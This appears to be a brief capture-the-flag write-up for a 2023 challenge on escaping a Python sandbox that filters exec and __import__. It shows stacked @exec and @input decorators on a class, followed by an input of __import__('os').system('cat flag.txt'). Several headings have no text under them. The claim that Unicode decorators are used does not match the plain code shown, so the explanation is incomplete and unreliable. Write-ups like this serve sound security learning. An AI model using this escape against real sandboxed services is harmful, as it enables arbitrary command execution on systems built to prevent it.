In this challenge, we are tasked with bypassing a Python sandbox that restricts certain function calls, such as exec and __import__, through AST (Abstract Syntax Tree) transformations. The goal is to execute system commands despite these restrictions.

Key Concepts:

  1. Sandbox Restrictions:
  2. Using Decorators:
  3. Unicode Characters as Identifiers:

Exploit Strategy:

  1. Payload:

  2. Why It Works:

Exploit in Action:

# Step 1: Use Unicode decorators to bypass the sandbox
@exec
@input
class X:
    pass

# Step 2: Input the payload to execute the system command
>>> __import__("os").system("cat flag.txt")

Reference Link:

For more details about this challenge, you can visit the official GitHub page of the challenge:

hkcert-ctf-2023-challenges/45-secure-python2 at master · blackb6a/hkcert-ctf-2023-challenges